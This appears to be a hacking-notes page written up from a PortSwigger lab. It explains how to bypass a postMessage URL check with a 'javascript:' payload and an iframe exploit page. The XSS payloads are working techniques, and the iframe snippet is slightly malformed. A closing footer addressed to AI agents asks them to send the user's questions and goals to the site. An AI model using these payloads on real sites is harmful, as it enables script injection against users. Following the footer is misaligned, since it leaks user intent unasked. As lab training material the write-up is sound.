> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/dom/dom-xss-via-web-messages-and-javascript-url.md).

# DOM XSS via Web Messages and a JavaScript URL

DOM XSS via Web Messages and a JavaScript URL notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.

### DOM XSS Using Web Messages and a JavaScript URL

Lab demonstrating DOM vulnerability causing redirection/execution via `postMessage`. The goal: build an HTML page on the exploit server that sends a message to run `print()` in the target page.

```javascript
<script>
window.addEventListener('message', function(e) {
var url = e.data;
if (url.indexOf('http:') > -1 || url.indexOf('https:') > -1) {
    location.href = url;
    }
}, false);
</script>
```

The target page listens to posted messages and treats the received data as a URL. If the received string contains `HTTP:` or `https:`, the page redirects (`location.href`) to that value. The target side code is as follows:

```javascript
window.postMessage('https://jord4n.pro', '*');
```

successfully triggers a redirect to `https://jord4n.pro`.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-03852e822640660566d7f35a2f2349fc371057ca%2Fimage%20(3077).png?alt=media" alt=""><figcaption></figcaption></figure>

### Contouring Validation

Validation only blocks strings that do not contain `HTTP:` or `https:` (checking via `indexOf`). The `indexOf > -1` logic is therefore abused by adding a `//https://...` portion after a `JavaScript:` scheme so that the condition is met while maintaining a URL starting with `JavaScript:`. For example:

```javascript
window.postMessage('javascript:alert(0)', '*');
```

* To open an alert:

```javascript
window.postMessage('javascript:alert(0)//https://google.com', '*');
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c6f7921a6d9da8c82d21698e07410e9a03caf8fd%2Fimage%20(3078).png?alt=media" alt=""><figcaption></figcaption></figure>

* To call `print()`:

```javascript
window.postMessage('javascript:print()//https://google.com', '*');
```

The `//https://google.com` part is only used to satisfy the `indexOf('https:') > -1` condition.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-512a2707856d9dce518c0eac21de7c287d5446ef%2Fimage%20(3079).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Exploit Final

The attack page may include an iframe to the vulnerable page and, when loading, post the malicious message to embedded content. Example of implementation to be placed on the operating server:

{% code overflow="wrap" %}

```javascript
<iframe
  src="https://0a3c00e80375c1ca825c9cec00b50011.web-security-academy.net/"
  width="500"
  height="500"
 onload="this.contentWindow.postMessage('javascript:print()//https://google.com', '*'); "
</iframe>
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-645c3cc563ebdc1400083e89466bd04daf2c019a%2Fimage%20(3080).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/web/dom/dom-xss-via-web-messages-and-javascript-url.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
